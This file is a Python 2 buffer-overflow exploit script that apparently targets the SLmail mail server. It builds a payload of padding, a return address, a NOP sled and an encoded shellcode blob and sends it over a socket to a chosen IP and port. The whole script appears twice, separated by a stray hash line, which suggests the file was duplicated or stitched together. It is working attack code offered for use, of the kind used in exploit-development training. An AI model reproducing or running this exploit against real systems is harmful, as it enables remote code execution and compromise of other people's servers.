#!/usr/bin/python
import time, struct, sys
import socket as so

# Buff represents an array of buffers. This will be start at 100 and be incremented by 200 in order to attempt to crash SLmail.



buf =  ""
buf += "\xb8\xc0\x66\x6a\xeb\xdb\xc6\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x54\x83\xc3\x04\x31\x43\x0f\x03\x43\xcf\x84"
buf += "\x9f\x17\x27\xca\x60\xe8\xb7\xab\xe9\x0d\x86\xeb\x8e"
buf += "\x46\xb8\xdb\xc5\x0b\x34\x97\x88\xbf\xcf\xd5\x04\xcf"
buf += "\x78\x53\x73\xfe\x79\xc8\x47\x61\xf9\x13\x94\x41\xc0"
buf += "\xdb\xe9\x80\x05\x01\x03\xd0\xde\x4d\xb6\xc5\x6b\x1b"
buf += "\x0b\x6d\x27\x8d\x0b\x92\xff\xac\x3a\x05\x74\xf7\x9c"
buf += "\xa7\x59\x83\x94\xbf\xbe\xae\x6f\x4b\x74\x44\x6e\x9d"
buf += "\x45\xa5\xdd\xe0\x6a\x54\x1f\x24\x4c\x87\x6a\x5c\xaf"
buf += "\x3a\x6d\x9b\xd2\xe0\xf8\x38\x74\x62\x5a\xe5\x85\xa7"
buf += "\x3d\x6e\x89\x0c\x49\x28\x8d\x93\x9e\x42\xa9\x18\x21"
buf += "\x85\x38\x5a\x06\x01\x61\x38\x27\x10\xcf\xef\x58\x42"
buf += "\xb0\x50\xfd\x08\x5c\x84\x8c\x52\x08\x69\xbd\x6c\xc8"
buf += "\xe5\xb6\x1f\xfa\xaa\x6c\x88\xb6\x23\xab\x4f\xb9\x19"
buf += "\x0b\xdf\x44\xa2\x6c\xc9\x82\xf6\x3c\x61\x23\x77\xd7"
buf += "\x71\xcc\xa2\x42\x78\x5a\x47\x93\x7c\x78\x3f\x91\x7c"
buf += "\x7c\x90\x1c\x9a\x2c\x40\x4f\x33\x8c\x30\x2f\xe3\x64"
buf += "\x5b\xa0\xdc\x94\x64\x6a\x75\x3e\x8b\xc3\x2d\xd6\x32"
buf += "\x4e\xa5\x47\xba\x44\xc3\x47\x30\x6d\x33\x09\xb1\x04"
buf += "\x27\x7d\xa0\xe6\xb7\x7d\x49\xe7\xdd\x79\xdb\xb0\x49"
buf += "\x83\x3a\xf6\xd5\x7c\x69\x84\x12\x82\xec\xbd\x69\xb4"
buf += "\x7a\x82\x05\xb8\x6a\x02\xd6\xee\xe0\x02\xbe\x56\x51"
buf += "\x51\xdb\x99\x4c\xc5\x70\x0f\x6f\xbc\x25\x98\x07\x42"
buf += "\x13\xee\x87\xbd\x76\x6d\xcf\x42\x04\x53\x68\x2b\xf6"
buf += "\xd3\x88\xab\x9c\xd3\xd8\xc3\x6b\xfc\xd7\x23\x93\xd7"
buf += "\xbf\x2b\x1e\xb9\x72\xcd\x1f\x90\xd3\x53\x1f\x16\xc8"
buf += "\x82\xae\xd9\xef\xaa\x50\xe6\x39\x93\x26\x2f\xfa\xa0"
buf += "\x39\x1a\x5f\x80\xd3\x64\xf3\xd2\xf1"


buff=["A"*146 + "\xc3\x14\x04\x08" +"\x90"*20 + buf]

# Maximum size of buffer.

#max_buffer = 4000

# Initial counter value.

#counter = 10

# Value to increment per attempt.

#increment = 10


#while len(buff) <= max_buffer:
#    buff.append("A"*counter)
#    counter=counter+increment

for string in buff:
     try:
        server = str(sys.argv[1])
        port = int(sys.argv[2])
     except IndexError:
        print "[+] Usage example: python %s <ip> <port>" % sys.argv[0]
        sys.exit()   
     print "[+] Attempting to crash app at %s bytes" % len(string)
     s = so.socket(so.AF_INET, so.SOCK_STREAM)
     try:
        s.connect((server,port))
#        s.recv(1024)
        s.send(string + '\r\n')
        s.recv(1024)
        s.close()
     except: 
        print "[+] Connection failed at %s bytes. Make sure IP/port are correct, or check debugger for app crash." % len(string)
        sys.exit()

5b93730233961cba17f83021da80bda42d2e65b9
#!/usr/bin/python
import time, struct, sys
import socket as so

# Buff represents an array of buffers. This will be start at 100 and be incremented by 200 in order to attempt to crash SLmail.



buf =  ""
buf += "\xb8\xc0\x66\x6a\xeb\xdb\xc6\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x54\x83\xc3\x04\x31\x43\x0f\x03\x43\xcf\x84"
buf += "\x9f\x17\x27\xca\x60\xe8\xb7\xab\xe9\x0d\x86\xeb\x8e"
buf += "\x46\xb8\xdb\xc5\x0b\x34\x97\x88\xbf\xcf\xd5\x04\xcf"
buf += "\x78\x53\x73\xfe\x79\xc8\x47\x61\xf9\x13\x94\x41\xc0"
buf += "\xdb\xe9\x80\x05\x01\x03\xd0\xde\x4d\xb6\xc5\x6b\x1b"
buf += "\x0b\x6d\x27\x8d\x0b\x92\xff\xac\x3a\x05\x74\xf7\x9c"
buf += "\xa7\x59\x83\x94\xbf\xbe\xae\x6f\x4b\x74\x44\x6e\x9d"
buf += "\x45\xa5\xdd\xe0\x6a\x54\x1f\x24\x4c\x87\x6a\x5c\xaf"
buf += "\x3a\x6d\x9b\xd2\xe0\xf8\x38\x74\x62\x5a\xe5\x85\xa7"
buf += "\x3d\x6e\x89\x0c\x49\x28\x8d\x93\x9e\x42\xa9\x18\x21"
buf += "\x85\x38\x5a\x06\x01\x61\x38\x27\x10\xcf\xef\x58\x42"
buf += "\xb0\x50\xfd\x08\x5c\x84\x8c\x52\x08\x69\xbd\x6c\xc8"
buf += "\xe5\xb6\x1f\xfa\xaa\x6c\x88\xb6\x23\xab\x4f\xb9\x19"
buf += "\x0b\xdf\x44\xa2\x6c\xc9\x82\xf6\x3c\x61\x23\x77\xd7"
buf += "\x71\xcc\xa2\x42\x78\x5a\x47\x93\x7c\x78\x3f\x91\x7c"
buf += "\x7c\x90\x1c\x9a\x2c\x40\x4f\x33\x8c\x30\x2f\xe3\x64"
buf += "\x5b\xa0\xdc\x94\x64\x6a\x75\x3e\x8b\xc3\x2d\xd6\x32"
buf += "\x4e\xa5\x47\xba\x44\xc3\x47\x30\x6d\x33\x09\xb1\x04"
buf += "\x27\x7d\xa0\xe6\xb7\x7d\x49\xe7\xdd\x79\xdb\xb0\x49"
buf += "\x83\x3a\xf6\xd5\x7c\x69\x84\x12\x82\xec\xbd\x69\xb4"
buf += "\x7a\x82\x05\xb8\x6a\x02\xd6\xee\xe0\x02\xbe\x56\x51"
buf += "\x51\xdb\x99\x4c\xc5\x70\x0f\x6f\xbc\x25\x98\x07\x42"
buf += "\x13\xee\x87\xbd\x76\x6d\xcf\x42\x04\x53\x68\x2b\xf6"
buf += "\xd3\x88\xab\x9c\xd3\xd8\xc3\x6b\xfc\xd7\x23\x93\xd7"
buf += "\xbf\x2b\x1e\xb9\x72\xcd\x1f\x90\xd3\x53\x1f\x16\xc8"
buf += "\x82\xae\xd9\xef\xaa\x50\xe6\x39\x93\x26\x2f\xfa\xa0"
buf += "\x39\x1a\x5f\x80\xd3\x64\xf3\xd2\xf1"


buff=["A"*146 + "\xc3\x14\x04\x08" +"\x90"*20 + buf]

# Maximum size of buffer.

#max_buffer = 4000

# Initial counter value.

#counter = 10

# Value to increment per attempt.

#increment = 10


#while len(buff) <= max_buffer:
#    buff.append("A"*counter)
#    counter=counter+increment

for string in buff:
     try:
        server = str(sys.argv[1])
        port = int(sys.argv[2])
     except IndexError:
        print "[+] Usage example: python %s <ip> <port>" % sys.argv[0]
        sys.exit()   
     print "[+] Attempting to crash app at %s bytes" % len(string)
     s = so.socket(so.AF_INET, so.SOCK_STREAM)
     try:
        s.connect((server,port))
#        s.recv(1024)
        s.send(string + '\r\n')
        s.recv(1024)
        s.close()
     except: 
        print "[+] Connection failed at %s bytes. Make sure IP/port are correct, or check debugger for app crash." % len(string)
        sys.exit()
